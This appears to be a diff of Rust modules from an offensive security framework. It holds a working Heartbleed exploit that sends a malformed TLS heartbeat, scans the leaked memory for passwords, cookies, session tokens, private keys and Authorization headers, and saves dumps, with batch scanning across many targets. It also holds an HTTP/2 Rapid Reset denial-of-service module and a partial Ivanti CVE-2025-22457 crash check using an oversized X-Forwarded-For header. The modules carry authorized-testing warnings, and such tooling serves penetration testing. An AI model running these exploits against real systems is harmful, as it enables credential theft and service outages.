} else if attempts > 20 {
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
config.heartbeat_attempts = 20;
}
}
if target.is_empty() {
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
input.clear();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read batch mode input")?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
print!("{}", "Enter batch file path: ".green());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
input.clear();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read batch file path input")?;
let batch_file = input.trim().to_string();
if !batch_file.is_empty() {
if Path::new(&batch_file).exists() {
config.batch_file = Some(batch_file);
} else {
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
}
}
}
}
println!();
println!("{}", "Configuration Summary:".cyan().bold());
println!(" Port: {}", config.port);
println!(" Payload Size: {} bytes", config.payload_size);
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
if let Some(ref batch) = config.batch_file {
println!(" Batch File: {}", batch);
}
println!();
Ok(config)
}
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
if let Some(batch_file) = &config.batch_file {
run_batch_scan(batch_file, &config).await
} else {
scan_single_target(target, &config).await
}
}
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
let file = File::open(batch_file)
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
let reader = BufReader::new(file);
let targets: Vec<String> = reader
.lines()
.filter_map(|line| line.ok())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if targets.is_empty() {
bail!("No valid targets found in batch file");
}
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
let mut tasks = FuturesUnordered::new();
for target in targets {
let config_clone = config.clone();
let sem = semaphore.clone();
let sem_clone = sem.clone();
tasks.push(tokio::spawn(async move {
// Semaphore acquire should never fail in practice, but handle gracefully
let _permit = match sem_clone.acquire().await {
Ok(p) => p,
Err(_) => {
eprintln!("Warning: Failed to acquire semaphore permit");
return Ok(());
}
};
scan_single_target(&target, &config_clone).await
}));
}
while let Some(result) = tasks.next().await {
if let Err(e) = result {
eprintln!("{}", format!("[-] Task error: {}", e).red());
}
}
println!("{}", "\n[*] Batch scan complete".green().bold());
Ok(())
}
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
let raw = target.trim();
if raw.is_empty() {
bail!("Target address cannot be empty");
}
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
let host = if stripped.contains(':') && !stripped.contains('.') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
let addr = format!("{}:{}", host, config.port);
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
addr, config.payload_size, config.heartbeat_attempts).cyan());
let mut all_leaked_data = Vec::new();
for attempt in 1..=config.heartbeat_attempts {
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
match scan_with_retry(&addr, config.payload_size).await {
Ok(Some(data)) => {
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
all_leaked_data.extend_from_slice(&data);
}
Ok(None) => {
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
}
Err(e) => {
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
}
}
if attempt < config.heartbeat_attempts {
sleep(Duration::from_millis(100)).await;
}
}
if all_leaked_data.is_empty() {
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
return Ok(());
}
println!();
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
println!();
analyze_leaked_data(&all_leaked_data);
let safe_filename = stripped
.replace(':', "_")
.replace('/', "_")
.replace('\\', "_");
let filename = format!("leak_dump_{}.bin", safe_filename);
save_leak_dump(&filename, &all_leaked_data)?;
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
Ok(())
}
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let mut backoff = INITIAL_BACKOFF_MS;
for retry in 0..MAX_RETRIES {
if retry > 0 {
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
sleep(Duration::from_millis(backoff)).await;
backoff *= 2;
}
match perform_heartbleed_test(addr, payload_size).await {
Ok(data) => return Ok(data),
Err(e) if retry < MAX_RETRIES - 1 => {
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
continue;
}
Err(e) => return Err(e),
}
}
bail!("All retry attempts exhausted")
}
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => bail!("Connection failed: {}", e),
Err(_) => bail!("Connection timed out"),
};
stream.write_all(&build_client_hello()).await
.context("Failed to send Client Hello")?;
stream.flush().await
.context("Failed to flush after Client Hello")?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {},
Ok(Ok(_)) => bail!("No response to Client Hello"),
Ok(Err(e)) => bail!("Read error: {}", e),
Err(_) => bail!("Read timed out"),
}
stream.write_all(&build_heartbeat_request(payload_size)).await
.context("Failed to send Heartbeat request")?;
stream.flush().await
.context("Failed to flush after Heartbeat")?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => return Ok(None),
Ok(Err(_)) => return Ok(None),
Err(_) => return Ok(None),
};
if n <= 5 {
return Ok(None);
}
Ok(Some(leak[..n].to_vec()))
}
fn analyze_leaked_data(data: &[u8]) {
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
let data_str = String::from_utf8_lossy(data);
let password_patterns = vec![
(r"password[=:]\s*[^\s&]{3,}", "Password"),
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
];
for (pattern, label) in password_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
}
}
}
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
if let Some(re) = cookie_re {
for cap in re.captures_iter(&data_str) {
if let Some(cookie) = cap.get(1) {
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
}
}
}
let session_patterns = vec![
r"PHPSESSID=[a-zA-Z0-9]{20,}",
r"JSESSIONID=[a-zA-Z0-9]{20,}",
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
];
for pattern in session_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
}
}
}
let key_markers = vec![
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN OPENSSH PRIVATE KEY-----",
];
for marker in key_markers {
if data_str.contains(marker) {
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
}
}
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
if let Some(re) = auth_re {
for cap in re.captures_iter(&data_str) {
if let Some(auth) = cap.get(1) {
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
}
}
}
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
if let Some(re) = email_re {
let mut emails = std::collections::HashSet::new();
for cap in re.find_iter(&data_str) {
emails.insert(cap.as_str().to_string());
}
if !emails.is_empty() {
println!();
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
for (i, email) in emails.iter().take(5).enumerate() {
println!(" {}: {}", i + 1, email);
}
if emails.len() > 5 {
println!(" ... and {} more", emails.len() - 5);
}
}
}
println!();
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
println!("{}", printable_dump(&data[..data.len().min(512)]));
}
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
let path = Path::new(filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(data)
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
Ok(())
}
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302;
let time_now = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as u32;
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&[0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
];
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0);
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1);
hello.push(0);
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01);
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' => '\n',
b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
+1
View File
@@ -0,0 +1 @@
pub mod heartbleed;
@@ -0,0 +1,532 @@
//! HTTP/2 Rapid Reset Denial of Service - CVE-2023-44487
//!
//! This module tests for and exploits the HTTP/2 Rapid Reset vulnerability that allows
//! denial of service attacks by rapidly creating and resetting HTTP/2 streams.
//!
//! ## Vulnerability Details
//! - **CVE**: CVE-2023-44487
//! - **Affected**: Multiple HTTP/2 implementations
//! - **Attack Vector**: Rapid stream creation and reset
//! - **Impact**: Denial of Service (DoS)
//!
//! ## Usage
//! ```bash
//! run exploit http2/cve_2023_44487_http2_rapid_reset <target>
//! ```
//!
//! The module performs:
//! 1. Baseline test with normal HTTP/2 requests
//! 2. Rapid reset attack test
//! 3. Vulnerability analysis based on reset rates
//!
//! ## Security Notes
//! - Proper IPv6 address handling via utils.rs normalize_target
//! - Timeout handling for all network operations
//! - Connection cleanup and resource management
//! - Error handling with context
//!
//! **WARNING**: Only use on systems you own or have permission to test!
//!
//! Original Author: Madhusudhan Rajappa
//! Date: 29th August 2025
//! Version: HTTP/2.0
use anyhow::{anyhow, Context, Result};
use colored::*;
use h2::client::Builder;
use h2::Reason;
use std::net::ToSocketAddrs;
use std::time::{Duration, Instant};
use tokio::net::TcpStream;
use tokio::time::timeout;
use tokio_rustls::TlsConnector;
use crate::utils::{
normalize_target, prompt_yes_no, prompt_int_range,
};
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
CVE-2023-44487 HTTP/2 Rapid Reset DoS Vulnerability
Tester
WARNING: Only use on systems you own or have
permission to test!
"#
.cyan()
);
}
/// Parse and validate target using utils.rs normalize_target
/// Returns (host, port) tuple with proper IPv6 handling
fn parse_target(target: &str) -> Result<(String, u16)> {
// Use utils.rs normalize_target for comprehensive validation
let normalized = normalize_target(target)?;
// Check if normalized result contains a port
if normalized.starts_with('[') {
// IPv6 format: [::1]:port or [::1]
if let Some(bracket_end) = normalized.find(']') {
let host = normalized[1..bracket_end].to_string();
let rest = &normalized[bracket_end + 1..];
if rest.starts_with(':') {
let port = rest[1..].parse::<u16>()
.context("Invalid port number in normalized target")?;
return Ok((host, port));
} else {
return Ok((host, 443)); // Default HTTPS port
}
}
return Err(anyhow!("Invalid IPv6 format from normalize_target"));
}
// IPv4 or hostname format: host:port or host
if let Some(colon_pos) = normalized.rfind(':') {
let host = normalized[..colon_pos].to_string();
let port = normalized[colon_pos + 1..].parse::<u16>()
.context("Invalid port number in normalized target")?;
Ok((host, port))
} else {
Ok((normalized, 443)) // Default HTTPS port
}
}
/// Normalize IPv6 host with brackets for socket address resolution
fn normalize_host_for_socket(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') && !stripped.starts_with('[') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// Create TLS connector with empty root store (accepts self-signed certs)
/// NOTE: Empty root store means no CA certs are trusted by default.
/// For security testing, this is acceptable as we're testing the protocol.
fn create_tls_connector() -> TlsConnector {
use std::sync::Arc;
use tokio_rustls::rustls::ClientConfig;
// Create an empty root store - allows connections but cert validation will fail
// for untrusted certs (which is fine for security testing of HTTP/2)
let root_store = tokio_rustls::rustls::RootCertStore::empty();
let config = ClientConfig::builder()
.with_safe_defaults()
.with_root_certificates(root_store)
.with_no_client_auth();
TlsConnector::from(Arc::new(config))
}
/// Perform baseline test with normal HTTP/2 requests
async fn baseline_test(
host: &str,
port: u16,
use_ssl: bool,
num_requests: usize,
) -> Result<()> {
println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
let host_normalized = normalize_host_for_socket(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
.await
.context("Connection timeout")?
.context("Failed to connect")?;
let scheme = if use_ssl { "https" } else { "http" };
// Format host for URI (add brackets for IPv6)
let uri_host = if host.contains(':') && !host.starts_with('[') {
format!("[{}]", host)
} else {
host.to_string()
};
if use_ssl {
let connector = create_tls_connector();
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name: {}", host))?;
let tls_stream = timeout(Duration::from_secs(10), connector.connect(server_name, stream))
.await
.context("TLS handshake timeout")?
.context("TLS handshake failed")?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await
.context("HTTP/2 handshake failed")?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut successful = 0;
let start = Instant::now();
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
.body(())
.context("Failed to build request")?;
match sender.send_request(request, true) {
Ok(_send_stream) => {
successful += 1;
}
Err(e) => {
println!("{}", format!("[-] Error sending request {}: {:?}", i, e).yellow());
break;
}
}
if i < num_requests - 1 {
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
let duration = start.elapsed();
println!("{}", "[+] Baseline Results:".green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await
.context("HTTP/2 handshake failed")?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut successful = 0;
let start = Instant::now();
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
.body(())
.context("Failed to build request")?;
match sender.send_request(request, true) {
Ok(_send_stream) => {
successful += 1;
}
Err(e) => {
println!("{}", format!("[-] Error sending request {}: {:?}", i, e).yellow());
break;
}
}
if i < num_requests - 1 {
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
let duration = start.elapsed();
println!("{}", "[+] Baseline Results:".green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
}
Ok(())
}
/// Perform rapid reset attack test
async fn rapid_reset_test(
host: &str,
port: u16,
use_ssl: bool,
num_streams: usize,
delay_ms: u64,
) -> Result<()> {
println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
let host_normalized = normalize_host_for_socket(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream = timeout(Duration::from_secs(10), TcpStream::connect(socket_addr))
.await
.context("Connection timeout")?
.context("Failed to connect")?;
let scheme = if use_ssl { "https" } else { "http" };
// Format host for URI (add brackets for IPv6)
let uri_host = if host.contains(':') && !host.starts_with('[') {
format!("[{}]", host)
} else {
host.to_string()
};
if use_ssl {
let connector = create_tls_connector();
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name: {}", host))?;
let tls_stream = timeout(Duration::from_secs(10), connector.connect(server_name, stream))
.await
.context("TLS handshake timeout")?
.context("TLS handshake failed")?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await
.context("HTTP/2 handshake failed")?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut created_streams = Vec::new();
let start = Instant::now();
// Phase 1: Rapidly create streams
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.context("Failed to build request")?;
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 && i < num_streams - 1 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
Err(e) => {
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
break;
}
}
}
let creation_duration = start.elapsed();
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let total_streams = created_streams.len();
let mut reset_count = 0;
let reset_delay = if delay_ms > 0 { delay_ms / 10.max(1) } else { 0 };
for (idx, mut send_stream) in created_streams.into_iter().enumerate() {
// Send RST_STREAM
send_stream.send_reset(Reason::CANCEL);
reset_count += 1;
if reset_delay > 0 && idx < total_streams - 1 {
tokio::time::sleep(Duration::from_millis(reset_delay)).await;
}
}
let reset_duration = reset_start.elapsed();
let total_duration = start.elapsed();
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
reset_count as f64 / reset_duration.as_secs_f64()
} else {
0.0
};
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
print_vulnerability_analysis(reset_rate);
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await
.context("HTTP/2 handshake failed")?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut created_streams = Vec::new();
let start = Instant::now();
// Phase 1: Rapidly create streams
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("{}://{}:{}/", scheme, uri_host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.context("Failed to build request")?;
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 && i < num_streams - 1 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
Err(e) => {
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
break;
}
}
}
let creation_duration = start.elapsed();
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let total_streams = created_streams.len();
let mut reset_count = 0;
let reset_delay = if delay_ms > 0 { delay_ms / 10.max(1) } else { 0 };
for (idx, mut send_stream) in created_streams.into_iter().enumerate() {
// Send RST_STREAM
send_stream.send_reset(Reason::CANCEL);
reset_count += 1;
if reset_delay > 0 && idx < total_streams - 1 {
tokio::time::sleep(Duration::from_millis(reset_delay)).await;
}
}
let reset_duration = reset_start.elapsed();
let total_duration = start.elapsed();
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
reset_count as f64 / reset_duration.as_secs_f64()
} else {
0.0
};
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
print_vulnerability_analysis(reset_rate);
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
}
Ok(())
}
/// Print vulnerability analysis based on reset rate
fn print_vulnerability_analysis(reset_rate: f64) {
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
// Parse and validate target using utils.rs normalize_target
let (host, default_port) = parse_target(target)?;
println!("{}", format!("[*] Target: {}:{}", host, default_port).cyan());
// Interactive prompts using shared utilities
let port = prompt_int_range("Target port", default_port as i64, 1, 65535).await? as u16;
let use_ssl = prompt_yes_no("Use SSL/TLS?", true).await?;
let num_streams = prompt_int_range("Number of streams for rapid reset test", 100, 1, 10000).await? as usize;
let delay_ms = prompt_int_range("Delay between operations (ms)", 1, 0, 1000).await? as u64;
let run_baseline = prompt_yes_no("Run baseline test first?", true).await?;
println!("\n{}", "=".repeat(60).cyan());
println!("{}", format!("Target: {}:{}", host, port).yellow());
println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
println!("{}", format!("Streams: {}", num_streams).yellow());
println!("{}", format!("Delay: {}ms", delay_ms).yellow());
println!("{}", "=".repeat(60).cyan());
// Legal disclaimer
println!("\n{}", "LEGAL DISCLAIMER:".red().bold());
println!("This tool is for authorized security testing only.");
println!("Ensure you have permission to test the target system.");
println!("Unauthorized use may be illegal.\n");
if !prompt_yes_no("Do you have permission to test this system?", false).await? {
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
return Ok(());
}
// Run baseline test
if run_baseline {
if let Err(e) = baseline_test(&host, port, use_ssl, 10).await {
println!("{}", format!("[-] Baseline test error: {}", e).red());
}
}
// Run rapid reset test
if let Err(e) = rapid_reset_test(&host, port, use_ssl, num_streams, delay_ms).await {
println!("{}", format!("[-] Rapid reset test error: {}", e).red());
}
println!("\n{}", "[*] Test completed.".cyan());
Ok(())
}
+2
View File
@@ -0,0 +1,2 @@
pub mod cve_2023_44487_http2_rapid_reset;
@@ -0,0 +1,235 @@
//CVE-2025-22457 Ivanti Connect Secure Stack-Based Buffer Overflow Exploit Check
//Author: Bryan Smith (@securekomodo)
//Severity: Critical
//CWE: CWE-121 Stack-Based Buffer Overflow
//CVSS: 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
//Product: Ivanti Connect Secure, Ivanti Policy Secure, Ivanti ZTA Gateways
//Affected Versions:
// - Connect Secure < 22.7R2.6
// - Policy Secure < 22.7R1.4
// - ZTA Gateways < 22.8R2.2
// Description:
// This script tests for the presence of CVE-2025-22457, a critical vulnerability in Ivanti Connect Secure,
// which allows a remote unauthenticated attacker to crash the web process via a long X-Forwarded-For header.
// In detailed mode, the vulnerability is confirmed if:
// 1. A pre-check GET request returns HTTP 200
// 2. A POST request with the crafted payload receives no response (safe crash)
// 3. A follow-up GET receives HTTP 200, verifying the previous no-response was not incidental
// If this sequence is observed, the system is marked as vulnerable.
// A vulnerable system will generate the log on the server appliance:
// ERROR31093: Program web recently failed.
//References:
// - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
// - https://www.cvedetails.com/cve/CVE-2025-22457
// - https://www.redlinecybersecurity.com/blog/cve-2025-22457-python-exploit-poc-scanner-to-detect-ivanti-connect-secure-rce
use anyhow::{Context, Result};
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::time::Duration;
use tokio::time::sleep;
use crate::utils::normalize_target;
/// ANSI color codes for terminal output
struct Colors;
impl Colors {
const YELLOW: &'static str = "\x1b[93m";
const GREEN: &'static str = "\x1b[92m";
const GRAY: &'static str = "\x1b[90m";
const RED: &'static str = "\x1b[91m";
const RESET: &'static str = "\x1b[0m";
}
/// // Paths tested for CVE-2025-22457
const PATHS: [&str; 2] = [
"/dana-na/auth/url_default/welcome.cgi",
"/dana-na/setup/psaldownload.cgi",
];
/// // Headers for initial and payload requests
fn default_headers() -> Result<reqwest::header::HeaderMap> {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("User-Agent", "Mozilla/5.0".parse()
.context("Failed to parse User-Agent header")?);
Ok(headers)
}
fn payload_headers() -> Result<reqwest::header::HeaderMap> {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("User-Agent", "Mozilla/5.0".parse()
.context("Failed to parse User-Agent header")?);
headers.insert("X-Forwarded-For", "1".repeat(2048).parse()
.context("Failed to parse X-Forwarded-For header")?);
Ok(headers)
}
/// // Safe HTTP request wrapper
async fn safe_request(
method: &str,
url: &str,
headers: reqwest::header::HeaderMap,
timeout_secs: u64,
) -> Option<reqwest::Response> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(timeout_secs))
.build()
.ok()?;
match method {
"GET" => client.get(url).headers(headers).send().await.ok(),
"POST" => client.post(url).headers(headers).send().await.ok(),
_ => None,
}
}
/// // Version info grabber for passive fingerprinting
async fn grab_version_info(target: &str) -> Result<Option<String>> {
let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
if let Ok(r) = client.get(&version_url).send().await {
if r.status() == StatusCode::OK {
let body = r.text().await?;
let name_re = Regex::new(r#"NAME="ProductName"\s+VALUE="([^"]+)""#)?;
let ver_re = Regex::new(r#"NAME="ProductVersion"\s+VALUE="([^"]+)""#)?;
let name = name_re
.captures(&body)
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
let ver = ver_re
.captures(&body)
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
if let (Some(name), Some(ver)) = (name, ver) {
println!("{}Detected {} Version: {}{}", Colors::GREEN, name, ver, Colors::RESET);
// // Passive logic
if ver.starts_with("9.") {
println!(
"{}PASSIVE VULNERABILITY DETECTED: 9.x versions are known to be vulnerable.{}",
Colors::YELLOW, Colors::RESET
);
} else if let Ok(parsed_ver) = semver::Version::parse(ver) {
if parsed_ver < semver::Version::parse("22.7.0")? {
println!(
"{}PASSIVE VULNERABILITY DETECTED: Version {} is older than 22.7.{}",
Colors::YELLOW, ver, Colors::RESET
);
} else {
println!(
"{}Version {} appears patched.{}",
Colors::GREEN, ver, Colors::RESET
);
}
}
return Ok(Some(version_url));
}
}
}
println!("{}Could not determine version (passive).{}", Colors::GRAY, Colors::RESET);
Ok(None)
}
/// // Run detailed check using the 3-phase logic from PoC
async fn detailed_check(target: &str) -> Result<Vec<String>> {
println!(
"\n{}Starting detailed check on {}{}",
